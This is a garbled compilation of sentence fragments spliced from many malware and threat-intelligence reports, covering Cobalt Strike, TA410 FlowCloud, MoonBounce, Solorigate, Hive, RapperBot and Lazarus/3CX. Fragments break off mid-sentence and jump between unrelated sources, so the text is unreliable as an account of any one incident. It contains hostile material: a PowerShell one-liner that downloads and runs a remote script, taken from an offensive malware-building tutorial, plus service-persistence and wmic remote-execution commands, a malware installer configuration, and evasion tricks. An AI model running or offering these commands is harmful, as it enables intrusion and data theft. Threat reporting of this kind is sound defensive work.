Connections were made to various IP’s over the length of the intrusion, but two made up the majority of the traffic.


The beacons used recognizable default Cobalt Strike configurations and attempted to masquerade dropped files as legitimate Microsoft Windows executables.

Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report


Over the length of the intrusion four different Cobalt Strike servers were observed in use.


The AnyDesk service password was set manually using the command line as shown below:


-NoLogo


While the threat actors made attempts to proxy RDP traffic and minimize external RDP access, the threat actors’ workstation was revealed in several Windows logs.


Mega user account:


Ransomware


The HTML message was dropped in various directories across the endpoints:


This blog was jointly written with Alejandro Prada and Ofer Caspi.


It is only a matter of time before it is used to target companies instead of individual users.


This new RAT is a modified branch of the open-source version, adding some modifications features to the original RAT.


In December 2022, a specific domain was registered to market/sell the tool, seroxen[.]com.


As the malware is fileless and executed only in memory after going through several decryptions and decompression routines, it is more difficult to detect by antiviruses.


Regarding the dynamic analysis, it is worth noting that some sandbox environments might fail to detect the RAT due to its utilization of several techniques to evade virtualization and sandbox detection mechanisms and string encryption subsequent payloads.


This enables it to identify virtualization environments such as VMware and abort the execution to delay and make the analysis harder.


During the bat execution, the script extracts two separate binaries from the base64 encoded text, AES decrypts, and GZIP decompresses it to produce two separate byte arrays.


The extraction of the resources leads to the final payloads.


This prefix hardens the visualization of the attack on the system, but eases attribution of the malware family during the analysis.


The prefix is used to hide files, directories, NamedPipes, scheduled tasks, processes, registry keys/values, and services.


L”.pipe” HIDE_PREFIX L”control” The two main components in this project are the InstallStager service and the Rootkit.


ChildProcessListener: Injects the rootkit to a newly created process by another process and updates the callee via NamedPipe. Figure 7.


Supported commands are listed below: Command Details CONTROL_R77_UNINSTALL The control code that uninstalls r77.


CONTROL_USER_RUNPE The control code that executes an executable using process hollowing.


They can be used by readers to tune or deploy detections in their own environments or for aiding additional research.


Discovery T1016:


Seroxen webpage Seroxen features Quasar RAT NirCmd – Windows command line tool (nirsoft.net) R77-rootkit The post SeroXen RAT for sale appeared first on Cybersecurity Insiders.


ESET researchers have documented and analyzed TA410 activity going back to 2019.

A lookback under the TA410 umbrella Its cyberespionage TTPs and activity


However, we found a custom AntivirusCheck class, which can check running processes against a hardcoded list of executable filenames from known security products, including ESET products.


Attribution ESET researchers believe that TA410 is composed of three different teams, using very similar tactics, techniques, and procedures (TTPs) but different toolsets and exiting from IP addresses located in three different districts.


According to ESET telemetry, the victims are located in Africa, Asia, the Middle East, and Europe.


This shows that LookingFrog operators closely follow the discovery of RCE vulnerabilities in popular server applications and quickly make use of any available exploit in order to gain control of unpatched servers run by organizations on their target lists.


In addition to the full-featured backdoors analyzed in the following sections, these attackers use a variety of tools such as vulnerability scanners, exploits from the Equation Group leaks, proxy/tunneling utilities (HTran, LCX, EarthWorm), and lateral movement scripts such as WMIExec. Arsenal TA410 – FlowingFrog FlowingFrog uses a first stage that ESET researchers have named the Tendyron downloader, and a complex second stage named FlowCloud, so named by the developers in its modules’ PDB paths.


Royal Road RTF document found on VirusTotal (SHA‑1: ADD5B4FD9AEA6A38B5A8941286BC9AA4FE23BD20)


The PE resources 103, 104 and 105 contain the payload URLs, XORed with 0xD3.


The following files are downloaded and written to disk: http://103.139.2[.]93:1702/tdr.dat written to %localappdata%\Tendyron\Tendyron.exe (SHA-1: 09C76522136B5E9BAB74381FEEE265F7E9B1D550) http://103.139.2[.]93:1702/okt.dat written to %localappdata%\Tendyron\OnKeyToken_KEB.dll (SHA‑1: F359D3C074135BBCA9A4C98A6B6544690EDAE93D) http://103.139.2[.]93:1702/md.dat written to %localappdata%\Tendyron\Tendyron.conf (we were not able to retrieve this file)


Finally, this process separately downloads http://103.139.2[.]93:1702/t86.dat (resource 101), loads it into memory, and calls its startModule export.


Tendyron.exe is a legitimate executable, signed by online-banking security vendor Tendyron Corporation, and that is vulnerable to DLL search-order hijacking.


When executed, Tendyron.exe loads the malicious OnKeyToken_KEB.dll.


This technique makes it harder to dump the plaintext values from the process’s memory and to analyze exit dumps.


The samples we analyzed all store their files in the %ProgramFiles%\MSBuild\Microsoft\Expression\Blend\msole\ directory; we believe that this is the default value.


We explain each of the steps in further detail in the upcoming sections.


This configuration defines the malware’s install path along with the filename or registry key where each embedded resource is to be written.


12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970 #Product name, these will be used in the configuration generator and applied to the front end[product]product_chs_name=Sky Arrowproduct_name=PCArrowIproduct_version=v5.0.2 [


general]created_folder=:\Program Files\MSBuild\Microsoft\Expression\Blend\msoleinstall_folder=:\Program Files\MSBuild\Microsoft\Expression\Blend\msoledata_folder=:\Program Files\MSBuild\Microsoft\Expression\Blend\msole\fcdata hide_user_activity_tab = 0 #File path, not including drive letter[file]100=:\Program Files\MSBuild\Microsoft\Expression\Blend\msole\responsor.dat103=:\Program Files\MSBuild\Microsoft\Expression\Blend\msole\setlang.exe104=:\Program Files\MSBuild\Microsoft\Expression\Blend\msole\setlangloc.dat#105=:\Program Files\MSBuild\Microsoft\Expression\Blend\msole\rebare.dat106=:\Program Files\MSBuild\Microsoft\Expression\Blend\msole\rescure.dat107=:\Program Files\MSBuild\Microsoft\Expression\Blend\msole\rescure86.dat108=:\Program Files\MSBuild\Microsoft\Expression\Blend\msole\rescure64.dat109=:\Program Files\MSBuild\Microsoft\Expression\Blend\msole\sspisrvui.dat110=:\Program Files\MSBuild\Microsoft\Expression\Blend\msole\setlangloc.dll101=:\Program Files\MSBuild\Microsoft\Expression\Blend\msole\E86F36C4102=:\Program Files\MSBuild\Microsoft\Expression\Blend\msole\AC1461421000=:\Program Files\MSBuild\Microsoft\Expression\Blend\msole\E19D9D4B #0x0001 Release without decryption#0x0002 Decryption release[file_out_type]100=0x0001103=0x0002104=0x0002#105=0x0002106=0x0002107=0x0002108=0x0002109=0x0002110=0x0002101=0x0001102=0x00011000=0x0001 ##Registry path: separated by'|', respectively representing HKEY_LOCAL_MACHINE, path name, value name[key]##100=0x80000002|SYSTEM\Setup\PrintResponsor|1#101=0x80000002|SYSTEM\Setup\PrintResponsor|2#102=0x80000002|SYSTEM\Setup\PrintResponsor|3#1000=0x80000002|SYSTEM\Setup\PrintResponsor|4##2000=0x80000002|SYSTEM\Setup\AllowStart\ceipCommon|1##2001=0x80000002|SYSTEM\Setup\AllowStart\ceipCommon|22001=0x80000002|SYSTEM\Setup\AllowStart\ceipCommon|1 ##0x0001 Release without decryption##0x0002 Decryption release[key_out_type]##100=0x0001#101=0x0001#102=0x0001#1000=0x0001#2000=0x00022001=0x0002 #Service Information: hhw.exe needs to be dynamically generated[service_attribute]is_hhw=0service_name=PrintResponsorservice_path=%ProgramFiles%\MSBuild\Microsoft\Expression\Blend\msole\setlang.exeservice_parm= Figure 8.


However, there is a custom AntivirusCheck class, which can check running processes against a hardcoded list of XOR-encrypted executable filenames from known security products: 360 Total Security, Avast, Avira, AVG, Bitdefender, ESET, Jiangmin Technology Antivirus, Kingsoft, McAfee, Micropoint, Norton, Rising Antivirus, and Trend Micro.


As shown in Figure 9, this short snippet is packed full of anti-analysis tricks, but ultimately amounts to an unconditional 16-byte jump.


The second one raises an exception via the INT 0x2D instruction and exits if it was handled by a debugger. Figure 10.


This process is created via CreateProcessAsUserW using a token retrieved from the explorer.exe or winlogon.exe process in the current session.


It provides a wide range of capabilities from full file system access to control of camera peripherals and everything in between.


Although we did not observe any plug-ins, the backdoor contains code that hints that they can be used to further extend functionality.


id_prefix: This value is prefixed to the generated ID.


id:


This object is responsible for initializing other components and handling C&C connections.


123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657 policys { keyboard_policy { state: true cycle_time: 60 limit_size: 100 cache_size: 10 } screen_policy { state: true cycle_time: 30 cache_count: 200 bit_depth: 4 } audio_policy { state: false cache_size: 100 decibel_limit: 65 continue_seconds: 15 } smfile_search_policy { guid: "XXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX" state: false research: true inc_all_removable: true inc_all_fixed: true limit_size: 1 recent_days: 30 filter: "*.doc" filter: "*.docx" filter: "*.xls" filter: "*.xlsx" filter: "*.ppt" filter: "*.pptx" filter: "*.bmp" filter: "*.jpg" filter: "*.png" filter: "*.gif" cache_size: 1024 b_exclude_system_files: true b_exclude_system_folders: true } installedapp_policy { state: false } clipboard_policy { state: false ignore_repeat: true cycle_time: 300 limit_size: 100 single_limit_size: 10 cache_size: 50 } user_activity_policy { process_activity_state: false browser_activity_state: false } } Figure 13.


Rather than documenting each of them individually, we will present an overview of the available functionality by grouping them into three categories: those that interact with the file system, functionalities that collect information about programs and processes, and those that gather real-time information about user activity.


One of these is a component that walks through all mapped file systems and collects files that are not excluded by filters in the smfile_search_policy.


This same class collects file and directory metadata.


The obtained information is correlated with data from the Win32_Process table for a more detailed view.


FlowCloud can periodically take screenshots and store them with information about the foreground process and time since the last user input.


It does not collect these directly, but instead acts in tandem with the keylogger component of the driver (described in the next section) by reading data from the \\.\pipe\namedpipe_keymousespy_english named pipe.


That function will perform the final stages of the installation and load the DLL containing the backdoor functionality.


As shown in Figure 17, it achieves this by removing their entries from the ActiveProcessLinks list of the undocumented KPROCESS kernel structure.


This functionality can be invoked on any process via the IOCTL_HIDE_PROCESS_BY_PROCESSID (0x222028) control code.


This version runs multiple anti-analysis and anti-detection checks before executing its payload, and terminates if any of those tests detect that the process is being analyzed.


While most of these names are also present in version 5, this list is not a strict subset of the one v.5 uses.


This tends to support the proposition that versions 4 and 5 of FlowCloud are maintained in parallel.


Figure 18 shows a summary of the X4 components.


It can also modify X4Key and PSKey.


0x3B6C27610D1injectDecrypt and inject shellcode, from encrypted form on disk, into memory.


0xDA83E71execExecute a given command line.


This module is embedded in the library’s resource section and encrypted with an algorithm similar to RC4.


Decompiled view of the function used to encrypt and decrypt the embedded module The SodomNormal component tries to read configuration information from a sodom.ini file.


We have found code for over 50 message types.


The body contains configuration and information about the victim host. 3ServerAcknowledgment for message type 2. 8ClientRequest to download the main backdoor component (SodomMain).


The message body contains the SodomMain file.


35 and 37ServerResponse to message 36 or 38.


It uses a pair of hardcoded templates, one for client requests and another for server responses.


Despite being well known, it is still in use and we have observed TA410 using it as recently as in April 2021.


qrt.dll.usb:


It is used by numerous threat actors who perform cyberespionage or cybercrime.


The certificate is likely stolen and belongs to 北京和赢讯时科技有限公司 (translated: Beijing Heyingxunshi Technology Co., Ltd.) with thumbprint 850821D88A4475F0310F10FBA806353A4113D252.


Conclusion TA410 is a cyberespionage umbrella targeting high-profile entities such as governments and universities worldwide.


UKRTA410 32-bit Rootkit/Keylogger driver.


FLIUnpacked Tendyron downloader.


ELGATendyron malicious DLL.


T1588.003Obtain Capabilities: Code Signing CertificatesTA410 uses stolen code-signing certificates.


T1588.005Obtain Capabilities: ExploitsTA410 had exploits for ProxyLogon and ProxyShell.


T1566.001Phishing: Spearphishing AttachmentTA410 uses malicious RTF and DOCX attachments to compromise victims.


T1055.012Process Injection: Process HollowingFlowCloud uses module stomping to hide the loading of its main backdoor.


DiscoveryT1010Application Window DiscoveryWhen logging mouse events, FlowCloud gathers information about the application running in the foreground.


DiscoveryMultiple TA410 backdoors can list running processes.


CollectionT1056Input CaptureFlowCloud logs mouse clicks.


T1119 Automated CollectionFlowCloud automatically collects data based on timers and events.


T1005Data from Local SystemFlowCloud can exfiltrate files from local file systems.


T1560.003Archive Collected Data: Archive via Custom MethodFlowCloud compresses some collected data by removing duplicates and similar screen captures.


T1132.001Data Encoding: Standard EncodingFlowCloud uses Protobuf to encode C&C commands and configuration.


ExfiltrationT1030Data Transfer Size LimitsFlowCloud uses local caches to stage data and exfiltrates their content when it reaches a size specified in its configuration.


It may be the first supply chain attack to take advantage of the fact that Python byte code (PYC) files can be directly executed, and it comes amid a spike in malicious submissions to the Python Package Index (PyPI).

When byte code bites Who checks the contents of compiled Python files


A manual review of the fshec2 package followed.


It revealed that it contains only three files.


The code inside two of those Python source code files, _init_.py and main.py, appeared benign.


Variations of that attack, in which malicious code is embedded in code but shifted past the edge of default screen borders (thereby hiding it from view), are still seen in the wild.


Here, we observed a compiled Python file (full.pyc) present inside the PyPI package that contained malicious functionality.


The fetched commands are just another Python script, which is intended to change (see Figure 4).


Unfortunately, the trail went cold there, because all three of them require authorization to execute page functionality.


Inspector, the default tool provided by the PyPI security team to analyze PyPI packages, doesn’t, at the moment, provide any way of analyzing binary files to spot malicious behaviors.


ReversingLabs Software Supply Chain Security supports static analysis and unpacking for a wide range of binary file formats, including the kind of compiled Python byte code seen in this attack.


This is a Security Bloggers Network syndicated blog from ReversingLabs Blog authored by Karlo Zanki.


While all of the above were seen in use by advanced actors, a different class of bootkits raises even higher concern.

MoonBounce the dark side of UEFI firmware


The infection itself, however, is assumed to have occurred remotely.


This form of binary instrumentation typically requires the attacker to obtain the original image, then parse and change it to introduce malicious logic.


This is an in-memory implant, implemented as position-independent code, that can communicate to a C2 server in order to exchange information and stage the execution of additional plugins in memory, of which none has been sighted in the wild yet.


It works by decrypting a shellcode BLOB with AES-256 and injecting it to the address space of another process.


StealthMutant is launched in one of two ways, which were partially described in other reports as well.


"iscsiwmi" /f sc create "iscsiwmi" binPath= "$system32\svchost.exe -k iscsiwmi" type= share start= auto error= ignore DisplayName= "iscsiwmi" SC failure "iscsiwmi" reset= 86400 actions= restart/60000/restart/60000/restart/60000 sc description "iscsiwmi" ""iSCSI WMI Classes That Manage Initiators, Ports, Sessions and Connections"" reg add "HKLM\SYSTEM\CurrentControlSet\Services\iscsiwmi\Parameters" /f reg add "HKLM\SYSTEM\CurrentControlSet\Services\iscsiwmi\Parameters" /v


Microsoft.Service.Watch.targets


Watch.targets" copy /Y


/TN "\Microsoft\Windows\UNP\UNPRefreshListTask" The following table lists known StealthMutant loader IOCs, together with their corresponding ScrambleCross shellcode files and contacted C2 addresses.


This suggests a low-confidence connection between Microcin and MoonBounce and may indicate usage of shared resources between SixLittleMonkeys and APT41 or involvement of the former’s operators in the MoonBounce activity.


We traced some of the commands executed by the attackers after gaining a foothold in the network, which point to lateral movement and exfiltration of information from particular machines.


2>$temp\TS_P34H.tmp" $temp\TS_P61S.tmp -accepteula -d -s \\<redacted_internal_ip3>\ cmd /c "ping -n 2 -a <redacted_internal_ip2>>$temp\TS_P34H.tmp" Usage of WMI for remote command execution: wmic /node:<redacted_internal_ip1> /user:<redacted_group>\<redacted_user>


/password:<readcted_password> process call create "cmd /c netstat -ano >$temp\a.tmp wmic /node:<redacted_internal_ip2> /user:<redacted_group>\<redacted_user>


To the best of our knowledge, the activity described in this report can be attributed to a group widely known as APT41, or an actor closely affiliated to it, with medium to high confidence.


The said scheduling algorithm found in the stager can take a 672-bit bitmask to determine when the malware should start beaconing the C2 server in an attempt to retrieve the payload, whereby the scheduled working time can be decided in a granularity of 15-minute slots (i.e. the stager checks if it is supposed to run in a particular slot out of the 672 possibilities that constitute a full week, or alternatively sleep for 10 seconds before checking if it has reached a dedicated working slot again).


We assess that, in this ongoing arms race, attacks against UEFI will continue to proliferate, with attackers evolving and finding ways to exploit and bypass current security measures.


Overview Anomali Threat Research discovered a campaign in which threat actors used MSBuild - a tool used for building apps and gives users an XML schema “that controls how the build platform processes and builds software” - to filelessly deliver RemcosRAT, and RedLine stealer using callbacks.[1]

Threat Actors Use MSBuild to Deliver RATs Filelessly


Figure 1 - Infection chain Technical Analysis MSBuild MSBuild is a development tool used for building applications, especially where Visual Studio is not installed.[2] MSBuild uses XML project files that contain the specifications to compile the project and, within the configuration file, the “UsingTask” element defines the task that will be compiled by MSBuild.


By using the variable “dec_list” to contain the decimal to be converted, and the variable “key” representing the string found at the end of decimal, we decoded the function.


= (xxZmgLbpuJ + position_array[position] + ord(key_array[position]))


+= 1 DmqRsaOvxUH


+ position_array[xxZmgLbpuJ])


LoadLibraryW loads the module, VirtualAlloc allocates the memory, CreateProcessW created a process, and ZwUnmapViewOfSection is used to unmap memory from a virtual space.


The version used in this campaign was 2.6.0, which was released in July 2020 (Figure 9).


The persistence technique is simply adding a run registry key for persistence (Figure 11).


Figure 9 - Remcos Version 2.6.0 Being Used Figure 10 - connecting to C2 Figure 11 - Adds Run Registry Key for Persistence Figure 12 - Watchdog Module Figure 12 shows the “Watchdog” module which restarts Remcos in the event the program is terminated.


System Information RedLine will search for the existence of multiple products that include cryptocurrency software, messaging apps, VPNs, and web browsers (full list shown in Table 2 below).


Endnotes [1] “MSBuild,” Microsoft Visual Studio Docs, accessed May 3, 2021, published November 4, 2016, https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2019.


[6] Daniel Frank, “Cybereason Exposes Campaign Targeting US Taxpayers with NetWire and Remcos Malware,” Cybereason, accessed May 4, 2021, published March 18, 2021, https://www.cybereason.com/blog/cybereason-exposes-malware-targeting-us-taxpayers.


It is for these reasons that threat actors also like Cobalt Strike.


What is Cobalt Strike? Cobalt Strike is marketed as “Software for Adversary Simulations and Red Team Operations.”


For an in-depth technical analysis of Cobalt Strike’s deployment options and how they differ, check out Avast’s blog or this Cisco Talos white paper.


”Spreadsheet lure masquerading as an Apple Store receiptUpon enablement of macros, the spreadsheet will fetch and execute the payload in-memory.


We suggest taking the suspicious document and uploading it to Intezer Analyze to find out if Cobalt Strike is hidden in-memory.


Intezer Analyze result for Cobalt Strike payload Supply Chain Attack One of the biggest cybersecurity stories of 2020 was the SolarWinds supply chain attack that compromised high-profile entities around the world.


It uses a different custom packer than TEARDROP, also leveraging steganography to locate the start of the encoded payload.


All processes must be inspected in order to find that one needle in the haystack.


The payload, usually shellcode, is injected into another process.


This payload is decrypted, decompressed, and then copied into memory.


Sometimes simple is better, and another way for Cobalt Strike to be deployed is in a simple Windows EXE form.


An example of one of these payloads is shown in the analysis below.


Static Analysis Static analysis involves examining the file using various techniques without actually having to execute the file itself.


Signature-based detection is great for detecting malware, but due to the versatility of Cobalt Strike’s deployment using multiple stages and encrypted/obfuscated payloads, an analyst may only be able to detect that a file is going to load and execute a payload in-memory.


Dynamic Analysis Dynamic analysis is the process of executing the suspect file in order to analyze its behavior and how it affects the environment it runs in.


Let’s take a suspicious looking document from an unknown entity as an example.


Signatures are leveraged to show capabilities and file characteristics.


Under the “TTPs” tab the user can see the techniques/capabilities employed by the malicious document.


IoCs provide you with file hashes and network indicators such as URLs, and IP addresses being contacted through irregular ports.


indicatorsThe “Behavior” tab shows a more in-depth analysis of the file’s behavior, where you can see the process tree, network activity, screenshots and file/registry activity.


Affected Platforms: LinuxImpacted Users: Any organizationImpact:

New RapperBot Campaign  We Know What You Bruting for this Time


Remote attackers gain control of the vulnerable systemsSeverity Level: Critical This article discusses the differences observed in this campaign and its relation to the previous RapperBot and similar campaigns in the past.


0x01: Keep-Alive/Do nothing 0x02: Stop all DoS attacks and terminate the client 0x03: Perform a DoS attack 0x04: Stop all DoS attacks 0x06: Restart Telnet brute forcing 0x07: Stop Telnet brute forcing The previously reported RapperBot campaign was limited to a few generic DoS methods against TCP and UDP services.


Like the earlier SSH brute-forcing campaign, once it has successfully gained access, it sends the credentials used, the compromised device’s IP address, and its architecture to the C2 server on a separate port, 5123.


Related Campaigns FortiGuard Labs compared samples for this and related campaigns from the past to find any links with the previously reported RapperBot campaign.


We also found older samples from another campaign that was active in August-September 2021 with an almost identical list of credentials.


With the several similarities between the two campaigns outlined below, we believe that either the same threat actor might be behind both campaigns or each campaign might have branched from the same privately-shared source code.


FortiGuard Labs will continue to monitor RapperBot’s development.


Fortinet Protections The FortiGuard Antivirus service detects and blocks this threat as ELF/Mirai, Linux/Mirai, and ELF/Gafgyt.


The techniques, tools, and examples discussed are intended to promote a better understanding of cybersecurity and to enhance defensive measures.

Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1


Additionally, it’s important to note that the usage of Ngrok in conjunction with MaccaroniC2 tool may result in the violation of the terms of service or policies of certain platforms.


By harnessing the powerful capabilities of the AsyncSSH library, which provides an exceptional implementation of the SSHv2 protocol, this tool ensures efficient and secure communication between the attacker and the victim.


SFTP Support: It includes a built-in SFTP (SSH File Transfer Protocol) implementation, enabling you to securely transfer files between the local and remote systems over the SSH connection.


# Technique 1: Check for common sandbox-related processes sandbox_processes =


It’s just the first clue but we have to start somewhere ;).


# Technique 4: Check for virtualized CPU features cpu_info = cpuinfo.get_cpu_info() virtualized_cpu_features =


What about requesting it every time script is running ?


= r.text.strip('\n') elif r.status_code == 404: exit() #


So Long, and Thanks for All the Fish!


except: exit('[-]


It provides a straightforward and secure way to encrypt and authenticate data, making it suitable for various applications that require secure communication and storage.


It checks the response status code and proceeds accordingly.


These examples provide ideas and possibilities, showcasing how attackers can leverage High-Level languages like Python to weaponize and elevate the capabilities of their malware.


Check full project of custom MaccaroniC2 server at: https://github.com/hacktivesec/MaccaroniC2/blob/main/weaponized_server.py Prepararing Cannons: Nuitka in action Python Nuitka is a specialized compiler for Python.


This can make the malware distribution easier and less reliant on specific Python versions or configurations.


Installation and compilation is straightforward:


Recognizing this pattern, i realized that by making targeted modifications to the Nuitka compiler code, we could potentially achieve 100% FUD (Fully Undetected) obfuscation.


This just opens up new possibilities for evading detection, when using Python to develop malware.


This level of control enables malware developers to create stealthy, complex, and tailored malicious functionalities that can evade detection and exploit vulnerabilities in the targeted environment.


For instance, this is a PowerShell one-liner that can be used to download and execute a remote .ps1 or .exe file: powershell "IEX(New-Object Net.


Some attackers go even further by appending the stager to the LNK file.


We can choose also how many days the file be stored.


This line creates a new WebClient object and assigns it to the variable $down.


GetResponse() $statusCode =


[int]$response.StatusCode if ($statusCode -eq 200) { # Successful response with HTTP status code 200 $down.


As such, it uses mostly the same techniques to evade common detection signatures, like: comment deletion/substitution string substitution (variables, functions, data-types) variable concatenation indentation randomization semi-random backticks insertion case randomization encoding Let’s try: python chameleon.py -n


-v -b -K hacktivesec -t


WebClient).DownloadString('https://transfersh.com/XXXXXXX/runme.ps1') | IEX"


Moreover, we’ll delve into a wide range of exciting topics, including: User-level persistence to establish long-term presence and maintain access on compromised systems.


These are direct checks for type and size of physical RAM, type and size of physical hard disks, and checking for odd or anomalous combinations of processors and cores.

CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking


The dropper (versions.dll) drops the payload (oci.dll) into the System32 directory.


Encryption exclusions in payload DLL


Instead, what could be considered the ransom note is inserted into the beginning of each encrypted file.


Beyond that, a single Bitcoin (BTC) address is provided for payment submissions.


CatB malware will also attempt to locate and extract sensitive information from Windows Mail profile data (\AppData\Local\Microsoft\Windows Mail\).


When these ‘double email’ notes are appended to the head of files, it looks as follows: Alternate ransom note (double-email, no BTC)


Also missing is the requirement to submit the key file in c\users\public\key.


We have established a resource center that is constantly updated as more information becomes available at https://aka.ms/solorigate.

Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers


The addition of a few benign-looking lines of code into a single DLL file spelled a serious threat to organizations using the affected product, a widely used IT administration software used across verticals, including government and the security industry.


This method is part of a class, which the attackers named OrionImprovementBusinessLayer to blend in with the rest of the code.


Solorigate malware infection chain


Where it all starts: A poisoned code library The attackers inserted malicious code into SolarWinds.Orion.Core.BusinessLayer.dll, a code library belonging to the SolarWinds Orion Platform.


The inserted malicious code runs within a parallel thread The functionality of the backdoor resides entirely in the class OrionImprovementBusinessLayer, comprising 13 subclasses and 16 methods.


It checks that there are no drivers loaded from security-related software (e.g., groundling32.sys)


It is computed by hashing the following data: The physical address of the network interface The domain name of the device The content of the MachineGuid registry value from the key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography The backdoor also generates a pseudo-random URI that is requested on the C2 domain.


It then sends this JSON document to the C2 server. Figure 7: Example of data generated by the malware If the communication is successful, the C2 responds with an encoded, compressed buffer of data containing commands for the backdoor to execute.


Settings.


RegisterTaskDefinition($task.


NET\Framework64\[malicious .dll


Microsoft Defender for Endpoint product and hardening guidance Supply chain compromise continues to be a growing concern in the security industry.


On top of that, comprehensive visibility into system and network activities drive the early detection of anomalous behaviors and potential signs of compromise.


These detections raise alerts that inform security operations teams about the presence of activities and artifacts related to this incident.


Given that this attack involves the compromise of legitimate software, automatic remediation is not enabled to prevent service interruption.


Analysts can then use investigation and remediation tools in Microsoft Defender Endpoint to perform deep investigation and additional hunting.


Microsoft Defender for Endpoint detections across the Solorigate attack chain Several Microsoft Defender for Endpoint capabilities are relevant to the Solorigate attack: Next generation protection Microsoft Defender Antivirus, the default antimalware solution on Windows 10, detects and blocks the malicious DLL and its behaviors.


= “msedge.exe”| where InitiatingProcessFileName !


= “iexplore.exe”| where InitiatingProcessFileName !


IdentityServer.


ServiceHost.exe”| where FileName in~(“werfault.exe”, “csc.exe”)| where ProcessCommandLine !contains (“nameId”) Appendix MITRE ATT&CK techniques observed This threat makes use of attacker techniques documented in the MITRE ATT&CK framework.


In an interesting turn of events, the investigation of the whole SolarWinds compromise led to the discovery of an additional malware that also affects the SolarWinds Orion product but has been determined to be likely unrelated to this compromise and used by a different threat actor.


Talk to us Questions, concerns, or insights on this story?


Follow us on Twitter @MsftSecIntel.


The post Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers appeared first on Microsoft Security.


”According

Horabot campaign targeted businesses for more than two years before finally being discovered


How does Horabot work?Technical analysis from Cisco Talos revealed that the campaign is a “multi-stage attack chain” beginning with an initial phishing email.


“The reconnaissance data is exfiltrated to the attacker-controlled server through an HTTP POST request,” Talos explained “The banking trojan targets the victim’s sensitive information, such as login credentials and financial transaction security codes, and logs keystrokes and manipulates the victim machine’s clipboard data.


This acts as a secondary payload during the attack and enables the threat actor to assume control of the victim’s email accounts.


Hive ransomware follows the ransomware-as-a-service (RaaS) model in which developers create, maintain, and update the malware, and affiliates conduct the ransomware attacks.


Hive actors have also gained initial access to victim networks by distributing phishing emails with malicious attachments [T1566.001] and by exploiting the following vulnerabilities against Microsoft Exchange servers [T1190]: CVE-2021-31207 - Microsoft Exchange Server Security Feature Bypass Vulnerability CVE-2021-34473 - Microsoft Exchange Server Remote Code Execution Vulnerability CVE-2021-34523 - Microsoft Exchange Server Privilege Escalation Vulnerability After gaining access, Hive ransomware attempts to evade detention by executing processes to: Identify processes related to backups, antivirus/anti-spyware, and file copying and then terminating those processes to facilitate file encryption [T1562].


Prior to encryption, Hive ransomware removes virus definitions and disables all portions of Windows Defender and other common antivirus programs in the system registry [T1112].


Hive actors exfiltrate data likely using a combination of Rclone and the cloud storage service Mega.nz


Hive actors demand payment in Bitcoin.


Hive actors have been known to reinfect—with either Hive ransomware or another ransomware variant—the networks of victim organizations who have restored their network without making a ransom payment.


Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure.


The Cybersecurity and Infrastructure Security Agency-Multi-State Information Sharing & Analysis Center Joint Ransomware Guide covers additional best practices and ways to prevent, protect, and respond to a ransomware attack.


Power-off and segregate any other computers or devices that share a network with the infected computer(s) that have not been fully encrypted by ransomware.


Use longer passwords consisting of at least 8 characters and no more than 64 characters in length.


Refrain from requiring password changes more frequently than once per year unless a password is known or suspected to be compromised.


Require administrator credentials to install software.


Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts.


Vulnerability and Configuration Management Consider adding an email banner to emails received from outside your organization.


Paying a ransom may embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities.


The 3CX supply-chain attack 3CX is an international VoIP software developer and distributor that provides phone system services to many organizations.

Linux malware strengthens links between Lazarus and the 3CX supplychain attack


Initially reported on March 29th, 2023 in a Reddit thread by a CrowdStrike engineer, followed by an official report by CrowdStrike, stating with high confidence that LABIRINTH CHOLLIMA, the company’s codename for Lazarus, was behind the attack (but omitting any evidence backing up the claim).


Because of the seriousness of the incident, multiple security companies started to contribute their summaries of the events, namely Sophos, Check Point, Broadcom, Trend Micro, and more.


Timeline of events Figure 1.


While the trojanized 3CX macOS application shows it was signed in late January, we did not see the bad application in our telemetry until February 14th, 2023.


It is unclear whether the malicious update for macOS was distributed prior to that date.


This tool is useful, as the attackers did not embed the C&C servers directly in the intermediate stages, but rather used GitHub as a dead drop resolver.


He observed that a shellcode stub prepended to the payload from d3dcompiler_47.dll is similar to AppleJeus loader stubs attributed to Lazarus by CISA back in April 2021.


No hashes were provided, but Mandiant’s YARA rule, named TAXHAUL, also triggers on other samples already on VirusTotal:


It targets aerospace, military, and defense companies and uses specific malicious, initially Windows-only, tools.


Given other DreamJob campaigns by Lazarus, this payload was probably distributed through spearphishing or direct messages on LinkedIn.


Because of the similarities in class names and function names between SimplexTea and sysnetd, we believe SimplexTea is an updated version, rewritten from C to C++.


CMsgZip::StartZip(void *) CMsgZip::Start(void) CHttpWrapper::RecvData(uchar *&,uint *,uint,signed char) RecvMsg CHttpWrapper::SendMsg(_MSG_STRUCT *)SendMsg CHttpWrapper::SendData(uchar *,uint,uint) CHttpWrapper::SendMsg(uint,uint,uchar *,uint,uint)


P2P_DLL.dll (SHA-1: 65122E5129FC74D6B5EBAFCC3376ABAE0145BC14), which shows code similarities to sysnetd in the form of domains used as a front for fake TLS connection (see Figure 4).


From September 2019, CISA started to call newer versions of this malware BADCALL (SHA-1: D288766FA268BC2534F85FD06A5D52264E646C47).


It was attributed to Lazarus by CISA in February 2021.


We include below the YARA rule RichHeaders_Lazarus_NukeSped_IconicPayloads_3CX_Q12023, which flags all these samples, and no unrelated malicious or clean files, as tested on the current ESET databases and recent VirusTotal submissions.


Loading a configuration file by SimplexTea for Linux, cf.


A hardcoded URL in SimplexTea for Linux Conclusion The 3CX compromise has gained a lot of attention from the security community since its disclosure on March 29th.


For any inquiries about our research published on WeLiveSecurity, please contact us at threatintel@eset.com. ESET Research offers private APT intelligence reports and data feeds.


C&Chttps://journalide[.]org/djour.php Downloaded fromhttps://od[.]lk/d/NTJfMzg4MDE1NzJf/vxmedia DetectionLinux/NukeSped.


